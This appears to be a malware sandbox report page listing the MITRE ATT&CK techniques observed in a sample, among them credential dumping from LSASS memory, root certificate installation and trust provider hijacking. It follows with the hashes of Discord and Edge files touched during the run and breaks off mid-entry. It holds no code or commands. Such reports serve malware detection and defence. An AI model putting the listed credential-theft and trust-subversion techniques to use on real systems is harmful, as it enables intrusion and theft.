                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Subvert Trust Controls

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1553

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Install Root Certificate

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1553.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SIP and Trust Provider Hijacking

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1553.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        OS Credential Dumping

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        LSASS Memory

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1003.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1552.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Browser Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1217

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        System Location Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1614

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        System Language Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1614.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1102

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\ffmpeg.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          52469880b75d8670f4e587ffb2e93ee0

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          59e9ff09027e7754a01e9a4d7d2ff557993139e9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          b605be615f62fce3cd098ca82a3466ee0383acf25d3e225b7054bbd5a731101c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          c9de8809c0accdfa32b712b0fec38c9b90964832229590ae4f5ac674de2f80ec90db003f885ba3c2e0f53ea69de9ce12f29ae3d6e7a0e44391d8cbee4ad2ca58

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\icudtl.dat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          10.2MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          74bded81ce10a426df54da39cfa132ff

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          eb26bcc7d24be42bd8cfbded53bd62d605989bbf

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7bf96c193befbf23514401f8f6568076450ade52dd1595b85e4dfcf3de5f6fb9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          bd7b7b52d31803b2d4b1fd8cb76481931ed8abb98d779b893d3965231177bdd33386461e1a820b384712013904da094e3cd15ee24a679ddc766132677a8be54a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\resources\app.asar
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          78b5874baef06cf6a53d154d370f3663

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ffa63ca6217a7b2761501fa23e491ce454178130

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          c9366fee0521bdd2208b1656ba34121094b72530a592d579fd627a7055371aa7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          a834c93830ddb23dbbe321d35c9f4b25b64372d54eca00bd3c4dfa4b662a8636adafd1f1922104f606528746a8660c1853ac02f9d734da1ded6265474a0f8365

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\resources\build_info.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          83B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          326c3eda3b8926f310fbf3cee52de02c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          b82440add32bc0ddbfa41aa08d183e54fa0c495c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9a1a9d92537877221597d16e96525aaf1b8fa66f3307fdc59490ff03e4862379

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9280df1a851f5de3fcd06805ffbb3e1521af7a57e2501688b1995d669302d668ae3623d6cb4cd72c9d87a15c155ee05fc590b1b84b3355664cc0c4084e30c26e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\v8_context_snapshot.bin
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          641KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          b1b09c057d365720ad26151066bf160c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7bbf976150e9b63acd4aea4223085818445f7dfc

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0b239cf5ab92a27cfa087b49e6dc943e0c674b62cea643cff2130e1c2f8db31c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ad4cbce2e8f367cff9b8b8ca56d1b6b833c3293dd55c1279732abda493b3a366efbefa67d75ab0ba6b93ca0a7545475728f9dc09bda9460ecf13f53f137a9b77

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          152B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fc52695a78aa4e8734d73b7446ba59d1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          15dfb5759ff566206ebd6b8a864e9e43182d7f44

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fc18d4b0cbcbb89e7f9cbe630c18c94ddecf8b59e74718cc5ad1f66fe638cf9e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          dbddeb1e9678141910933db917260164cfd07d5f2fcf3c7e82fc2c6db486be7dc47fb193a676e7a23d4ad6936c946ede8def1c555332e41a829d94c207cbfd51

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          152B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ce971e4ab1f7a51b5b9def5887018d15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2f280b61a4c3297a3129d59b84ae971e90fdf9d9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12e7606eaa7e67b697c8b098266fcb8cb066cd9f8f60ce43ba8405102a63af1b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5358fb373e7ef29ac278c33161fbd06b4ac59b24be16e4c34f37ae88383655a182e30fa71cb7881cffc3af5ab055aad25d57f53f3114e6d79b946dbfaa228594

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\30987ea6-a7a2-4fcb-a3be-f4d2c9ec3028.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3666b8b7dcfd4f526a6bf6c357763e7c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1a50fb00aa4509b81836c9d818332ce5678f0aac

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          96216083402671689c108ecf96f0ea1b5aea7f10665ac6a5c4806b85ae6ae424

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9ce575e80af0f4b76be429ac118a02353f3706260061c6abc04023c453d8a5bf726dad1a8bf6993c1a759a4df0abc3be11ee349efe9ff4cff7440c9a35e0cdbf

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          57c6f59b4139374c5be091d7c8c8e453

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          bfb1f6ffa23c1c4493b64da704622f0341171097

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          466d2a0be1f380ddffed052df3cc132125fa34dc1af29312e14f13f358c8d2a2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2544c9c17d0e2fd41f9802881e0d08bba5d299f5b48201316e00bd7b0446a1dc125ac8b6203e3cf663f25309df6fea4a58abb8dee96f6cb341d3a056ce6bdfe5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          64KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          d6b36c7d4b06f140f860ddc91a4c659c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ccf16571637b8d3e4c9423688c5bd06167bfb9e9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          67KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1d9097f6fd8365c7ed19f621246587eb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          937676f80fd908adc63adb3deb7d0bf4b64ad30e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          a9dc0d556e1592de2aeef8eed47d099481cfb7f37ea3bf1736df764704f39ddf

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          251bf8a2baf71cde89873b26ee77fe89586daf2a2a913bd8383b1b4eca391fdd28aea6396de3fdff029c6d188bf9bb5f169954e5445da2933664e70acd79f4e3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          41KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7641a80b3ca2bec272955ead35145995

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8e3d61381786090bb85e45d156938bbabb17aa0f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8b712d8018f2c97283d0264ace2a982a627e050d0b428597a6d31abf78db7d79

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          c96df8fb697d229be04d06569c2dd0212b2bca6d1e4656000433175969afd0bd05e667a61328ee47b1fc4f359a2aaaa9c31c930e8ce52f1f8f958aee25e9f0ba

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          63KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          710d7637cc7e21b62fd3efe6aba1fd27

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8645d6b137064c7b38e10c736724e17787db6cf3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          c0997474b99524325dfedb5c020436e7ea9f9c9a1a759ed6daf7bdd4890bdc2b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          19aa77bed3c441228789cf8f931ca6194cc8d4bc7bb85d892faf5eaeda67d22c8c3b066f8ceda8169177da95a1fe111bd3436ceeaf4c784bd2bf96617f4d0c44

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          19KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2e86a72f4e82614cd4842950d2e0a716

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          d7b4ee0c9af735d098bff474632fc2c0113e0b9c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          c1334e604dbbffdf38e9e2f359938569afe25f7150d1c39c293469c1ee4f7b6f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7a5fd3e3e89c5f8afca33b2d02e5440934e5186b9fa6367436e8d20ad42b211579225e73e3a685e5e763fa3f907fc4632b9425e8bd6d6f07c5c986b6556d47b1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          88KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          b38fbbd0b5c8e8b4452b33d6f85df7dc

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          386ba241790252df01a6a028b3238de2f995a559

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          b18b9eb934a5b3b81b16c66ec3ec8e8fecdb3d43550ce050eb2523aabc08b9cd

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          546ca9fb302bf28e3a178e798dd6b80c91cba71d0467257b8ed42e4f845aa6ecb858f718aac1e0865b791d4ecf41f1239081847c75c6fb3e9afd242d3704ad16

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1.2MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          d20f500f9e4e8bc3fbf885d3e9036b32

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8eff61e7789c5bb7564be8cc3225ff10393a30b1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          088c9b305f64ae73af52bec73101e6bb1914b8e0931cd1d3aee8944a3abd18bf

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4d85a1aa21fb92d51bfd01a104c847f79e4c14d4f2202b6c14e6275f05ca699ecdbe56bdb7c556f8a651832440201bda80a7f1e3c11778fb22c201c9aa032642

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000017
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          40KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3051c1e179d84292d3f84a1a0a112c80

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          c11a63236373abfe574f2935a0e7024688b71ccb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

